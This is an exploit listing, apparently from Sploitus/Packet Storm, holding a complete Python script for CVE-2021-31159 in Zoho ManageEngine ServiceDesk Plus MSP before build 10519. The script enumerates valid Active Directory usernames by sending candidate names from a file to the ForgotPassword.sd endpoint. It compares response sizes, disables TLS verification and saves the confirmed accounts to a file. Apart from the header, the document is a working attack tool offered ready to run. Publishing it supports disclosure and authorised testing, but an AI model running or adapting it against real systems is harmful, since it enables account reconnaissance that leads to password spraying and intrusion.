Share
## https://sploitus.com/exploit?id=PACKETSTORM:163192
# Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP - Active Directory User Enumeration (CVE-2021-31159)  
# Date: 17/06/2021  
# Exploit Author: Ricardo Ruiz (@ricardojoserf)  
# CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)  
# Vendor Homepage: https://www.manageengine.com  
# Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519  
# Version: Previous to build 10519  
# Tested on: Zoho ManageEngine ServiceDesk Plus 9.4  
# Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]  
# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159  
  
import argparse  
import requests  
import urllib3  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
  
def get_args():  
parser = argparse.ArgumentParser()  
parser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')  
parser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')  
parser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file')   
parser.add_argument('-o', '--outputfile', required=False, default="listed_users.txt", action='store', help='Output file')  
my_args = parser.parse_args()  
return my_args  
  
  
def main():  
args = get_args()  
url = args.target  
domain = args.domain  
usersfile = args.usersfile  
outputfile = args.outputfile  
  
s = requests.session()  
s.get(url)  
resp_incorrect = s.get(url+"/ForgotPassword.sd?userName="+"nonexistentuserforsure"+"&dname="+domain, verify = False)  
incorrect_size = len(resp_incorrect.content)  
print("Incorrect size: %s"%(incorrect_size))  
  
correct_users = []  
users = open(usersfile).read().splitlines()  
for u in users:  
resp = s.get(url+"/ForgotPassword.sd?userName="+u+"&dname="+domain, verify = False)   
valid = (len(resp.content) != incorrect_size)  
if valid:  
correct_users.append(u)  
print("User: %s Response size: %s (correct: %s)"%(u, len(resp.content),str(valid)))  
  
print("\nCorrect users\n")  
with open(outputfile, 'w') as f:  
for user in correct_users:  
f.write("%s\n" % user)  
print("- %s"%(user))  
  
print("\nResults stored in %s\n"%(outputfile))  
  
  
if __name__ == "__main__":  
main()